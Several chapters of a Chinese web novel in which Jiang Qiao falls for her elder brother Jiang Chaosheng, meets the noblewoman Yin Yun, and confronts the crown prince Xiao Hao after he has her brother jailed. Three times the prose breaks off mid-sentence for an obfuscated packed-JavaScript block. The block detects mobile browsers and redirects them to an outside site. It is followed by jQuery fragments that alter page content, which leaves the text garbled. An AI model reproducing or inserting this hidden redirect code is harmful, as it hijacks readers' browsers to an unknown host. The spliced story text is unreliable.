少女的屋子算不上整洁，首饰、胭脂随意摆在桌上，衣裳挂在了各处的架子上。 江潮生一边向她走近，一边习惯地收起她的衣物，折叠好，放到床边。 “滟滟？” “嗯。”江乔闷声应着，依旧将整张脸都藏在被子下，唯有长长的发铺在枕头上。 江潮生忍俊不禁，“不热吗？” “不热……” 这话是假的。 “今日你我还未见过，滟滟不想我吗？” “不想。” 这话也是假的。 “好。”江潮生轻轻拉开被褥，哄似的，“是兄长想瞧瞧我的滟滟。” 带着凉意的空气拂在面上。 江乔几乎是不假思索地翻过身，背对江潮生，心头有一点燥热，有一点茫然。 “是因昨夜的事，生兄长的气了吗？”江潮生解释，“是我疏忽了。” “尹相有意将尹骏安排入羽林军中。虽只是混一个虚衔，但上下需要打点的事不少，便邀了我着手安排……” 他不紧不慢地说。 江乔听不进去。 那一点茫茫然是雨后的笋，冒出尖后，还在疯长。 她怎么会…… “是我身子弱，经不得刺激……多亏了滟滟，若无你，恐我如今还醉死在临江阁中。” 临江阁。 那一个未落下的吻。 兄长的唇，生得很漂亮。 江乔捏紧了被褥的一角，听见了自己的声音打断了他的声音，“兄长。” 不大，也不够坚定，她道，“我今早，又去临江阁了。” 江潮生一顿，“为何呢？” 他的唇角，应该还是带着笑意，是含苞的花，藏着些许春意。 江乔如实回答，并不怕叫他见了她的恶。 也迟疑了片刻，才道，“我还见到了萧晧。” “太子。” “嗯，昨夜认识的，今天又见到了。” “我记得。”他又一顿，“太子萧晧是个风流人物，但到底是储君，梁帝上了年纪，难以再有子嗣，哪怕再有子嗣，年岁也相去甚远。听说长安城中，不少人家的女儿都摩拳擦掌，想要嫁入东宫。” “……是吗？” “滟滟，你是如何想的？” 他的声中，听不出喜怒。 喜怒不形于色，兄长一直是这样要求自己的，幼时便如此了。 江乔恍惚。 又是何时呢？连她都不能发觉他的真实心思。 “他说，想娶我。”江乔道。 “嗯。”江潮生还是轻声问，“那你如何答呢？” “我不愿。”她干脆。 沉默了一瞬，或是许久。 江乔不言语，心头有隐隐约约的期待。 但也怕着。 那日，江潮生也是如此温柔且坚定地告诉她，她迟早要嫁人的。 事实上，那时的争端只是被搁置，而不是被解决。 江乔清清楚楚，但为了一线的希望，还是等待着他的回答。 江潮生掖了被角，“萧家与你我是有血仇，但毕竟，是十年前的情仇，那时，他亦是年幼无知。滟滟，兄长愿你……” 不等他说完，江乔出声，“我不喜他。” “或许……” “不。” 其实也算是心有灵犀的，江乔总能先一步，堵回那些不中听的话。 江潮生默了一瞬，问，“他对你做了什么？” “重要吗？” “嗯，重要。”他道，“我曾在母妃尸前发过誓，会护你一生……” 江乔再次打断，“我记得的。” 若有违誓言，天诛地灭，不得好死。 年少痴语，很是天真，又怎能当真？ 若不当真，为何不让他说。 “滟滟……”江潮生的声音像是从远方传来，隔了山水，模糊岁月，但江乔听见了。 正如少年时的妄言，他说，“我答应过的，不叫你受旁人的委屈。” 这话，同她当时所想的，如出一辙。 萧晧最错误的一步棋，便是提到了兄长。 他拿兄长威胁她。 拿兄长的前途，在欺骗她。 否则，她说不定真就顺从了萧晧。 江乔捂着嘴角，后知后觉的怕，迟来的悔。 “还没发生什么……”因此，还不到追悔莫及的时候，她眨着眼，“我告诉他，大不了一命换一命。” “不是怕他。” “我只是，不喜欢他。” 这一次，她听见了自己的心跳，一声又一声，声声都像是要跳出嗓子眼，于是出口的声，自然而然带了一些涩，一丝哑，一点恍然大悟， “喜欢就是喜欢，不喜就是不喜，并无弄错的可能。” 她这样说。 一滴泪直直滑落，淹入了发中，才被她察觉。 江潮生又说了许多的话，可能是安抚劝说，可能是分析利弊…… 他不会坐视不理。 他也从不把自己的算计，当做下等的阴谋诡计。 可江乔一点都听不进去。 她紧紧捏着被子的一角，拳头缩成小团。 年少的点滴，一一在眼前滑过。 从很早很早之前，她还未来到世上，他也尚是大周皇子时，他们就在一块了。 天灾，人祸，生离，死别……凡尘的万千种种都未能将他们分离。 由此可见，他们就该在一起。 她从不是一个会纠结犹豫的人，眼下想明白了，便是明白了，擦擦泪，坐起身。 江乔毫不犹豫地向江潮生扑去。 “兄长……”一声眷恋。 乍一听，亦如从前。 江乔清楚明白其中的细微变化，话说出口了，先不管又没人听懂，至少自己的心安稳了下来，任凭身子如归巢的雏鸟般，落到了熟悉的怀抱。 江潮生手疾眼快，轻轻接住她的身子，下意识的。 回过神，这是越了男女界限，可看她的泪眼，不愿训斥，不忍推开，只好服软，“我在。” “我明白了。”没头没尾的一句话。 江潮生微微困惑，“嗯？” 江乔摇了摇头。 良久后，江潮生微笑，“见你有心思闹腾，就很好。” 他所想的不多，万千的死者沉甸甸压在他心上，占据了几乎全部的心神，也将他变作了一只浑浑噩噩的兽，一边苟延残喘，一边痛哭流涕，但也无坚不摧的。 剩下一点不多的柔软，是给江乔的。 江乔用脸颊在他肩上蹭着，“嗯。” “兄长？” “我在……” “江白？” “我在。” “江潮生？” “嗯。” 二人你一句，我一句，说着无关痛痒的话，都在对方的怀抱中明确了自身的存在，坚定了不为人知的念头。 江潮生又安抚了江乔，看着她入睡后，走出了屋子。 姝娘在不远处等候，见了他，也是很谨慎地站 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在幻境中，从前的许多人，许多事都未再次出现，连那些憎恶眼神，恶毒话语，也都销声匿迹了。 唯有江乔和他。 二人平庸的，安稳着，浪费着生命。 很满足。 江潮生自嘲。 他果然是无用的俗人，明知那是镜花水月般的欢愉，却难以割舍。 稍稍歇了会，双腿重新有了力气，江潮生坐回书桌前，翻找出几封文书。 一一拆开翻阅着，他蹙眉思索，又提笔书写着回信。 如今尹相看似是极其器重他的，事无大小，都会派人告知他，也重视他的意见。 但，江潮生并不会掉以轻心。 一来，不同于他以往熟知的那群废物官员，尹相之所以能安稳坐在如今的位置上，正是靠着自己的手腕和能力。 一个有手腕，有能力的人，不容易被轻易懵逼，也不会随意交出信任。 二来，从一开始，江潮生便不打算一辈子居于人下，受限于人。 为尹相做事，只是他来到长安城的第一步。 江潮生处理完公事，正要着手安排私事，翻出书柜夹层中的纸张，看着密密麻麻的文，他再次想起了江乔的泪眼。 泛红的，不屈的…… 不能置之不理的。 “姝娘……” 姝娘正在切菜，听到熟悉的声音，差一点把自己的指头砍到，“公子，你怎么出来了？” “你可有闲暇？” 姝娘点头。 江潮生礼貌道，“我这里有一封书信，麻烦你帮我跑一趟。” 姝娘洗了手，往围兜上擦着水珠，“好。” 江家一直按月给她薪资，拿钱办事，她不觉得麻烦。 这是该做的。 她接过信，翻阅了一下，并未瞧见了地址，自然而然问，“是送到哪儿去？” 江潮生：“临江阁。” “啊？”姝娘惊讶。 江潮生笑而不语，显然无意解释。 她不再问，收住了声。 等姝娘走远了，江潮生一人待在小厨房中，从袖中拿出纸张，仔细查看着。 上头详细记载着，今早发生在临江阁的一切事宜。 也包括，江乔离去后，尹骏同萧晧的对话。 目光到了最后的落款，是那位黄管事的名字。 或许是清楚江乔同他的关系，对今日的意外，黄管事很是抱歉自己未及时出手阻止。 装模作样关怀了江乔几声。 但下一句，又问，这是否也在他的计划中？ 看似恭敬，也有试探。 哪怕再忠心的下属，也难免各怀鬼胎。 江潮生不意外。 他将纸张递入灶台，注视着火舌卷起，吞噬了纸张。 待到灰烬落定，他面不改色地离开了此处。 有些道路，一旦踏出了步子，就只能继续走下去。 不止是为了自己。 也是为了江乔。 15. 尹蕴 江乔患得患失了起来。 她认认真真观察了江潮生好几日，想从他的行为举止中找到一点蛛丝马迹，以此证明，有惊世骇俗念头的不只是自己。 可惜，不知是他藏得太好，或是还未开窍，江乔一无所得。 这日，他又要出门。 江乔追了出去，“要去哪儿？” 江潮生停下脚步，解释，“尹相有要事。” 江乔将手中的伞递过去，“看天色，说不定要下雨。” 江潮生接过，笑，“好。” 忽然，他伸出手，轻拂过她的发。 江乔羽睫微颤，仰起头，忍不住看他。 他的指尖落着柳絮，该是方才从她发间捻起的，是绒绒的一抹白色，只停留几息，顺风而舞。 “春末了。”江潮生微笑，又叮嘱了几句，说着乍暖还寒，春捂秋凉。 江乔也发现了春的逝去。 在江潮生身上。 天气转暖后，他面色也好了许多。 若从前的江潮生是一尊叫人望而生畏的玉人，那如今这玉的质地好了许多，至少摔不碎。 还有泛着润色的唇，锦上添花。 江乔目不转睛，只顾得点头。 他说东，她点头。 他说西，她也点头。 江潮生笑着揉了揉她的脑袋，“没睡醒吗？” “啊？”江乔的确是刚醒。 江潮生但笑不语。 等他走远了，江乔才发觉，自己方才这幅模样，很像是一只得了病的小鸡仔，米要啄，眼翻着，很是鬼迷心窍。 她用力拍了下脸蛋，重重呼出一口气。 院子里头，姝娘在晒衣服。 江乔上前搭把手。 还是装作不经意，她问，“姝娘，你说，兄长会喜欢什么样的姑娘呢？” “公子吗？”姝娘抖开衣服。 江乔附和，“嗯，对，是兄长。你觉得呢？” 这话说得太急，江乔差点没有捏住衣服，幸好有小拇指勾着，湿衣服没有掉在地上。 幸好，姝娘有一点天真可爱的笨。 “我想想。”姝娘伸长臂，将衣服一边挂在竹竿上，冬装难免厚重，江乔绕到对面，帮她一前一后，调整着细处。 “至少要长得漂亮。”姝娘认真想。 江乔应，“自然的。” 美人配美人，是情理之中，否则是糟蹋了美貌。 姝娘又道，“心地要好，待公子也要用心。” 江乔眸子一转，“自然要待兄长好，否则，便是怨偶了。” 前半句，被她有意忽略。 但江乔绝对不会主动承认，自己是个坏姑娘的。 “还有吗？” 一盆衣物见了底，晒衣服的活结束了。 “还有呢……”姝娘总算察觉了异样，侧过头，直直看向了她。 江乔睁大眼，尽可能理直气壮地对视上去，“怎么了？” 姝娘还是一言难尽地注视她。 士别三日当刮目相待。 这个道理，江乔知道，却从不奉如圭臬。 若人人都能做吴下阿蒙，这世间就再无蠢材和智者之分了。 可万一呢…… 万一，姝娘是璞玉…… 江乔不动声色。 “小姐。” “你说。” 姝娘神色古怪，“你不会听说了什么吧？” 她凑上来私语。 江乔神情不再自若。 姝娘果然还是那个姝娘，保留着她的好，也保留着她的不好。 “这件事，你为何不早告诉我？”听了一通话，江乔咬着唇。 姝娘见她反应强烈，诧异，“我以为……这只是一点风言风语，当不得真。”还补充，“况且他们说得太夸张，公子什么秉性，我是知晓的，他绝对不会如此不负责任的……” 眼见姝娘打算将这些话再重复一遍，一一挑毛病，可江乔却听不下去，步子软绵绵的，带着身子滑到了一旁的石阶上。 她坐下。 风言风语？ 是的，众人最喜欢拿这些捕风捉影的事，当下酒菜。 一见薄袖子，立刻想到白胳膊，立刻想到□□.体，立刻想到男男女女那档子风流事…… 或许是恰好有往来？ 更有可能，不过匆匆见了一面，被人瞧见？ 江乔不信这些流言蜚语。 更不信，兄长会背着自己，同其他女人有来有往。 肯定是假的。 江乔冷冷地想，得将这传播谣言的人揪出来，必要她当众认错，才算保全了江潮生的名声。 她如此想，也如此做。 江乔直接起身，抛下一句，“我出去一趟。” 在姝娘震惊不解的目光下，大跨步横穿了院子，气势汹汹地出了门。 江乔走得太快，太急，又想着事，还未离家几步，就直直撞到了人，边捂着脑袋，边道，“抱歉。” 正要擦肩而过，掀过这插曲。 “是江小姐吗？”对方先出了声。 声音轻柔又干净。 江乔抬起眼，也看清了对方的长相、衣着、神态。 一位名副其实的世家小姐。 打扮处处精心，却不刻意张扬，神情温暖柔和，毫无怯懦之意，明眸善睐，仪静体闲，也是一位难以被挑剔的美人。 “你是谁？”江乔问。 恰是此时，姝娘也追了出来，“小姐，你等我——” 话音未落。 急急忙忙止住了步子，看向来人，犹犹豫豫地打招呼，“尹小姐？” 明确尹蕴是来江家拜访，而不是迷了路，再看江乔不言不语，姝娘撑起了担子，上前几步，大大方方地将客人迎进来。 “尹小姐，请先坐坐吧……” 又向江乔使了眼色。 姝娘简单安排后，就到一旁的小厨房，准备着点心、茶水。 她在很早之前，便见过尹蕴。 作为尹相之女，哪怕尹蕴同其兄尹骏般，是个处处平庸的俗人，也不可能默默无闻着。 更何况，她并不庸俗。 尹蕴是强人所难中的尽善尽美。 方方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526461|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面都满足了世人对贵女的期许，既要有高贵的出身，又要有难以挑剔的品性，要能通四书五经，又善女子八雅。 几乎是完美无瑕的。 可绝对的完美，也是绝对的不完美。 在姝娘曾侍奉的几户人家中，上至昔年的左相千金，下至小门小户的适龄小姐，无一不在注意着尹蕴。 看她穿衣打扮，看她与谁往来…… 在这些隐秘之处所花的力气，远超过寻一个好郎君，或得一个好名声。 耳濡目染之下，在姝娘心中，这位尹家小姐也成了可望而不可即的存在，叫她又敬又畏。 倒是和江潮生给人的感觉，很是相似。 水开了。 姝娘沏好了茶，正准备送进去，可到了门边，无端紧张了起来。 一个念头一闪而过。 她没深究，踏入门。 尹蕴和江乔对坐着。 姝娘依次唤了二人，将茶盏分别端上去。 尹蕴双手接过，点头致谢，又问，“是……姝娘吗？” 姝娘意外。 她解释，“从前赏花宴上，你我见过一面。” 有些话，没多说。 那次赏花宴，她是跟着左相千金前去的。 她只是微不足道的小人物，二人甚至未能对上话。 姝娘惊讶，“您竟然记得我。” 尹蕴微微一笑，“自然的，你如今还好吗？” “江公子、小姐待我极好……” 一时之间，那一点距离随着你来我往的叙旧消散了。 姝娘面露浅浅笑意。 尹蕴也未因此忘了一旁的江乔，话语之间，总会关照到她。 可难得的是，纵是如此，她的言辞也不叫人觉得自我、冒失。 竟是无懈可击的。 江乔暗觉不妙。 无事献殷勤，非奸即盗。 联想她的身份，经历，揣度思量着，一个模模糊糊的猜想浮现心头。 江乔直问：“尹小姐，你今日是不请自来吧？” 这话太直白，对面二人俱是一愣。 她不留情面，“还请尹小姐告明来意。” 尹蕴惊诧之余，想起了那些传闻，哑然失笑，“江小姐……果然不是寻常人呢。” 她认认真真道了抱歉，又解释，“我今日前来，是为两件事。” “一来，听闻前几日江先生告假，是因兄长做了错事……” “二来……” 江乔未错过，那一瞬自她眸底流露的笑意，情不自禁般，很细微，因此，反而没有作假的可能。 她的解释，还未说全，外头传来动静。 是江潮生回来了。 “尹小姐。” “江先生。” 二人隔了一个院子的距离，远远招呼示意彼此，一人穿白，一人着青，一样的落落大方，一样的出尘不染。 姝娘无暇多思，下意识望向了江乔。 她未起身，面无表情。 原来，这世上并无空穴来风的谣言？ 呵…… 她冷笑。 16. 吃醋 姝娘借口要准备晚膳，退出了屋子，离开前，还扯了扯江乔的袖子。 江乔看她一眼。 姝娘也相应的，更直白地看了她一眼，明晃晃地暗示着她。 无论如何，这当事人到了场，她们二人就不好再留了。 江乔抿着唇，很是不甘心，但在得到姝娘再次的暗示后，还是老老实实起了身，“我去帮你……” 说完，一起离开了屋子。 可余光，还是有意无意地往身后投去。 二人重新往杯中倒了茶水。 二人相对而坐着。 二人…… 的的确确，算得上郎才女貌。 咬的太用力，下唇出了血，腥味在舌尖漫开，带着难以言喻的苦涩。 不同于江乔的胡思乱想，屋内的二人是坦坦荡荡。 门未掩上，也无需掩上。 交谈声也不用刻意压低，自然而然地问好，对话。 一派纯然心思。 绝无花前月下，耳鬓厮磨的暧昧意图。 江乔抿着唇，打着鸡子。 结果，壳到了碗中，蛋清蛋白流了一地。 “小姐！不要糟蹋食物。” 姝娘完完全全把自己当做了她的长姐之类的人物，这样半是教导半是提醒的话，这些日子没少听到，幸而耳朵还没起茧，江乔也懒得和她计较。 蹲下身，收拾着地上的狼藉，更是竖起了耳朵。 这尹大小姐倒是没有撒谎。 因自幼显露出的沉稳和能耐，她深得父亲尹相的信任，在其母离世后，主动担起了族中的庶务，管理下人，统筹钱财，更要与各处的管事保持着往来。 前不久的晨会中，她从临江阁黄管事处，得知了那夜的意外。 “抱歉，江先生……您知晓的，兄长被家父宠溺过度，有时做事，不免没轻没重。那日的事，家父已经全然知晓，并会惩戒愚兄，让他引以为戒。今日见您并无大碍，我亦能放心。” 尹蕴微笑着，或许是出于礼貌，或许是更深层的，女儿家的心思，她的目光一直落在身前的小小杯盏上，而不是直视江潮生。 江潮生的眸子也垂着。 视线中，是他那双修长纤细的手。 “无妨的……尹小姐是一人前来的吗？” 对方轻轻“嗯”着。 江潮生声也更轻，“南巷子不比内城，人多眼杂，常出各种事端。尹小姐若下次再来，应带上旁人陪同才好。” 尹蕴：“好……” 江潮生一顿，又轻声道，“或许，亦可提前通知在下陪同。” “嗯……” 二人依旧坐着，都端着茶盏，缓慢品着茶水。 无需太多的话语，自然而然的心静。 可这份静，未维系多久，很快江乔便大步走进，将手中的托盘直直拍在了桌上，又向尹蕴挤出一个笑，问，“尹小姐要留下来用晚膳吗” 一句话问完，又将托盘里的碟子拿了出来。 碟子中，摆着三块糕点。 对应了三个人，再无多余。 随即，她捏起其中的一块，就送到了嘴里，慢慢咀嚼下咽，又一次投去有意为之的一眼。 “我自然不会不欢迎尹小姐来做客。”她笑，“但家中的米缸前几日就见了底，若尹小姐打算留下来，我就派姝娘赶紧去一趟，趁着米铺关门前，再称一些来。” 尹蕴不知所措。 她上能面见帝王皇后，谈古来圣人，下能接济走卒难民，同情他们的颠沛流离，独独不了解，这再寻常不过的人家中日常习惯。 “无需如此麻烦……”她连忙解释，抬起眼，先是见到了江乔那一双黑亮的大眼睛，接着便是浮现在江潮生唇边的笑意。 “滟滟，莫要胡闹。”他含嗔含笑。 江乔也低了脑袋，乖巧听训的模样。 尹蕴唇瓣微微张开，再是抿唇一笑。 对于江乔，她是初见，对其秉性喜好，并不了解，也不能贸然下定论。 但对江潮生……尹蕴忍不住轻抬眼，再去看他笑颜。 心中很希望，能时常见到他的笑容。 外头天色昏沉了下来。 再晚些时候，就要彻底黯了。 “今日，小女便不再久留了……”尹蕴起了身，对二人都笑了笑，“是我不好，未提前说明。” 江乔微不可闻地挑起眉。 “尹小姐，小巷昏暗，在下送你出去。” 见江潮生起身送客，江乔也利利索索站了起来，一同跟出去。 到了巷子口，分岔路，三人都停下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526462|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步子。 尹蕴又一次面向了江潮生。 二人寒暄了两三句。 但一人说着离去，一人也不挽留，都默认了分别。 寒暄过后，尹蕴转身，融入了人群。 江乔注视着背影，心中感触颇深。 “回去吧。”江潮生提醒。 江乔一边点头，一边说，“好。” 还未到家中。 江乔问，“这尹小姐，好像是心悦兄长？要不然不会巴巴地赶上来……” “莫要胡说八道，坏了人家的名声。” 看他神情，并无多少训斥意味。 听他语气，也寻不见几分在意。 江乔笑着，认为谣言到底是谣言，不能完全当真。 尽管江潮生说了，江乔也未改变想法，她肯定，这位尹家大小姐对兄长，绝对是藏了一份心思的。 但她被养得太规矩了。 这样扭扭捏捏的，怕折腾到最后，也是竹篮打水一场空。 心头的阴郁一扫而空，她又欢欢喜喜着。 上前扯过江潮生的胳膊，半个身子都挂了上去，嘻嘻哈哈问，“兄长会喜欢什么样的姑娘？” “滟滟……” “别搪塞我，兄长到了年纪，总会考虑这些事。” 她期期艾艾。 “未曾考虑过。” “我不信。” “真心话……” “兄长快说嘛。” …… 江乔不依不饶。 这丫头在一些无关紧要的事上，总有无穷无尽的精力。 望着那双水润眼眸，二人的手又在不知不觉的时候，牵在了一处。 其实，早不是当初，松了手，就要走丢的年纪和环境了。 到了一处拐角，月光已全然洒了下来。 二人的影子被拉长。 江潮生温柔地望着她，揉了揉她的脑袋，“回去吧，姝娘该做好了饭菜。” 他还是不打算，将那许多的谋算，许多的事告诉她。 他只需要一步步前进。 沿途所见的一切人和事，弃可弃的，用可用的。 一直以来，他都是如此做的。 正如，于他自身而言，喜欢也好，厌恶也罢，都是无所谓的。 17. 灾祸 接下来的半个月，这位尹大小姐成了家中的常客。 她每次来，都会带一些见面礼，通常是一些笔墨纸砚、首饰绸缎……这类并不贵重，但家中几人恰好能用得上的物品。 叫人连拒绝，都寻不到恰当的理由，只好更热切地招待她。 因尹蕴来得频繁，姝娘已习惯了准备她那份吃食。 这一日，尹府来了丫鬟，替她赔罪，说今日府中有宴席，尹蕴脱不开身，便不来了。 姝娘从这丫鬟手中接过了竹篮子，翻开一看，里头是几条腊肉，街上就能买到，不过总要排队等待。 恰好能用到，姝娘谢过，又与这丫鬟交谈了几句，送走了她。 回到院子里头时，眼底流露着几分怅然，或许自己都未察觉。 她是很喜欢热闹的。 从三人变回了两人，心里不免空了一块——自然，江潮生是公子，算不得数。 江乔瞧着，飘来一句话，“说来也奇怪，尹府中什么山珍海味没有？看来是粗茶淡饭吃够了，足够开了眼界’，过了瘾……怪不得今日不来了。” 姝娘不赞同地拉长声音，“小姐。” 江乔爱说风凉话，却不喜欢被管，连连应了几声，“也不用等她了，我们早点开饭？” 姝娘想了想，也到了开火的时候，拎着腊肉去了厨房。 还劝道，“尹小姐是有意同你交好……” 话里话外，都是一个意思。 人家待你好，你也要待人家好。 无论是在哪儿，拉帮结派的事情都不少，长安城尤其是。 同尹家大小姐交好，于江乔而言，利大于弊。 姝娘碎碎念念的声音中，夹杂了剁肉声。 “咚咚——” “傻姝娘……” 她说话的声音被盖过。 “咚咚——” 她的脚步声也被遮过。 无缘无故的，谁会对你掏心掏肺？ 她不信无缘无故的好。 也不怕无缘无故的好。 只担心，也不是担心……该提防。 可以肯定，尹蕴做这许多费力不讨好的事，是冲着江潮生来的。 今日江潮生又忙于公务，不回家中了。 也不是一次两次。 到了长安城后，这样的事常有发生。 如今，她像是和姝娘一块，二人搭伙过日子。 江乔回到了屋子里头，在梳妆镜前静静坐了一会儿，又翻翻找找，在三排的匣子中翻出了一个花样极其普通的口脂盒子。 用小拇指勾了一点，细细抹在唇上。 这口脂是江潮生为她所制的。 是前段时间，补给她的生辰礼。 像这口脂一般，由他亲手所制，独独送给她的物件，还有许多。 遍布了这屋子各处的地方。 陈旧的多，新制的少。 将口脂膏子抹开，这镜中的人总算有了几分天真的娇媚，几分冷冷的美艳，不完全是孩子气了。 江乔不由得偏过头，微微飞了一个眼风。 一双手很爱作怪，一下放在腮边，一下捂在唇边。 做了一场孤芳自赏的戏，江乔后知后觉无趣，又脱了鞋，四平八稳地躺在床榻上，摊开手脚，久而久之，手还是手，脚还是脚，倒是感受不到存在了。 唯独唇，还糊着一层口脂膏子，因加了梅子粉，咸甜咸甜的，时时刻刻提醒着她，江潮生待她的好，江潮生待她的用心。 她知道，兄长不爱尹蕴。 兄长是爱她的。 但这份爱，同她想要的，又不同。 她想要的爱，是独一无二的，粉身碎骨的。 是除了彼此，再无他人的。 江乔自顾自将口脂膏子舔了、吃了，嘴里是甜了，有味了。 心里头却还是空了一角，像是儿时寄居的那处破庙，呼呼的，漏着冷风和残雪。 江乔躺到姝娘来叫她。 二人对着一张桌子，两荤一素的菜肴，用好了晚膳。 碗筷还未洗好，院子里传来了一阵敲门声。 “来了!”姝娘高喊，手上还沾着水。 那边敲门声还不停，急得很。 “我去瞧瞧吧。”江乔说着，就走到了院子里头，推开门，倒是一个熟人。 “黄管事？” 从记忆里头，模模糊糊揪出一条线索，再出声时，便笃定了许多，“这不是临江阁的黄管事吗？有何贵干？” 黄管事往院子里头探着脑袋，黄昏的天，还有几分夏的燥热，他额间、脸上，都是密密麻麻的汗。 咬着牙，压低声问，“江公子在吗？” 问的是兄长。 “不在。”江乔狐疑，又补充，“今日一早就出门了。” 对方连忙问，“说了去哪儿吗？” 还能去哪？ 尹相府邸，左边大院，大梁上上下下的琐事，十有八九要经过此处，但世人对这个丞相班底，却是一知半解，甚至从未听闻过的。 江乔怀疑对方别有用心，没出声。 黄管事擦着汗，也像是在权衡利弊，看似是过许久，实则不过几息的功夫，他掏出了一封信件，交给了江乔。 “江小姐……这是临江阁方收到不久的，我拿到手后，就立刻过来了。” “许多事，倒是来不及解释的。” “但就此万难时刻，托付给旁人，我是万万不放心，且也对不起公子的。” 黄管事说完，像是怕被人瞧见了踪迹，左顾右盼，观察着四周，继续擦着汗，低声又说了几句抱歉后，逃窜似的，转身离开了。 江乔立在门边，拆开了信件，手指在抖。 姝娘清理完了碗筷，遥遥问了一声，“是什么事？” “没事……”江乔本想编一个理由糊弄，但一听自个儿声音，就歇了这心思。 不止手指在颤抖，声也是颤颤巍巍的。 还是这声音暴露了端倪。 “到底是出了何事！”姝娘一听不对，快步上前来，往门外瞧，来人的背影早已消失在巷子尽头。 江乔不动声色地将信件往身后藏，还想继续隐瞒，“没什么大事……” 但看见姝娘那双澄澈透亮的眼眸后，话不知不觉就变了调，带上了几分哭腔。 她道，“姝娘……兄长被关押了。” 回到屋内，关紧了门窗，江乔心思静了下来，姝娘却成了过年时的炮仗，一簇火点下去，问题连着炸开。 “关押？出了何事？为何被关？” 那封信还贴在胸口。 江乔并无过目不忘的本事，但方才的几眼，足以叫她记住大概。 她思索再三，言简意赅地回答了姝娘的问，“是一件小事被抓住了把柄。” “什么小事？”姝娘接着问，那双亮亮的眼眸中，装着明晃晃的忧心。 只是无关紧要的小事，是不会引得江乔如此失魂落魄的。 在这方面，她有着惊人的敏锐。 弄虚作假，便是弄巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话还未说完。 江乔猜到她的心思，直言，“不可能的。” 事关昔日的政敌，尹相绝不会冒着名声受误的风险，出手相助。 “那……”姝娘茫然。 江乔直接，“也不能坐视不管。”沉心静气安排着，“听说牢狱之内，多半湿冷苦寒，兄长身子不一定受得住，姝娘……得麻烦你，拿点银钱去打点，顺便送几件衣物进去。” 到了这危急时候，又哪能顾上从前的怕。 姝娘连连点头。 “我也出去……说不定，能寻见旁人相助。”江乔一锤定音。 二人瞬间忙忙碌碌了起来，各行其是。 等姝娘出发后，江乔才翻出另一张信纸。 黄管事送来的信件中，共有两张纸，一张是刚刚给姝娘看过的，只记了表面的事。 另外一张，则可以抽丝剥茧，看出更多内容。 送礼送礼一事本身，是其次的，重要的是江潮生。 此事必须早早压下来。 为了所谓证据，那位御史中丞已开始着手调查，而他们是经不得查的。 若二人的往事暴露，别说牢狱之灾，只怕小命不保。 继续在字里行间找着线索，江乔目光一滞，顿时气血翻涌，听见自身咬牙切齿的声音。 这样小之又小的一件事，是无人会去主动关心的。 除非在开始时，就存了利用的心思。 而此事背后，正有一人推波助澜——太子殿下，萧晧。 18. 求他 江乔第三次来到了临江阁。 见到了这处长安城第一酒楼的第三种样貌。 闹街中的安静。 与盆满钵满相对的入不敷出。 大厅、二楼……临江阁处处都亮着灯。 江乔一进大门，就被小厮引上了二楼，是之前尹骏设宴的雅间，精美雅致中的精美雅致，一等天字号上的一等天字号。 到了转角，小厮就停下了步子。 江乔一人上前，门一推开，果不其然看见了萧晧。 他今日穿了一身玄色衣裳，袖口领口糅着金丝，衬得面容如玉，很是风流潇洒，显然是精心打扮过。 “如何？”萧晧笑着敞开手，好让她看得更仔细明白一些。 她停在了不远处，一双眼直勾勾盯着他，像是看仇人。开门见山，“是你做的。” 陈述语气。 萧晧无奈扶额，“也不问得含蓄些……” 虽不认为这份心思和这件事是难以启齿的，但所谓“谈情说爱”，不正是要兜着圈子谈情，藏着掖着说爱吗？ “真是个无趣的小丫头。” 抱怨归抱怨，喜爱还是喜爱的，否则便不会花这许多心思。 他悠悠荡荡站起身，停在了江乔身前，垂着脑袋，由上至下望着那双猫儿似的眸子，含笑道，“是呀，我做的，打蛇打七寸，想找到你兄长的漏洞，可实在不容易……” 又问，“你打算怎么‘报答’我呢？” “厚颜无耻。”江乔缓缓吐出四个字。 “有心者事竞成。”萧晧轻轻晃着脑袋，似乎不认同她的观点。 他又不紧不慢往前一步，目光瞄准了那小巧可爱的唇，可江乔事前有所预料，先一步后退。 这次，她并未让自己陷入死角。 轻而易举，便与萧晧拉开了距离。 江乔抬眼，淡淡道，“你为何认为，我一定会答应你？” 萧晧歪着头，眉头微蹙，有几分的不耐，“小丫头，以退为进的把戏也该玩够了吧？” 他承认江乔有几分小聪明。 作为一个聪明的女人，她在踏入临江阁的一瞬，该是做好了服软认输的准备的。 难不成，是想讨价还价？ 萧晧扯了扯嘴角，往后退了几步，也做出了服软的模样。 “好好……小丫头，看不出你还是个贪心的，说吧，你还想谈谈什么？” “谈？”江乔十指互抵着，放在胸前，摇头晃脑着。 孩子气的可爱模样。 萧晧舔了舔唇，轻笑，“嗯，允许你狮子大开口。” 又补充，“可以为你自己求名分、钱财，也可以为你兄长求一条坦途。 江乔用食指戳着脸颊，又作出了天真无邪的思考状，眸子慢悠悠转了一圈，最后落回萧晧身上，冷冷的眸光，嬉笑的口吻。 “太子殿下如此喜爱小女，不惜陷害忠臣，也要得到我……但用旁人的性命来威胁，能算什么事呢？” “不如这样吧！” 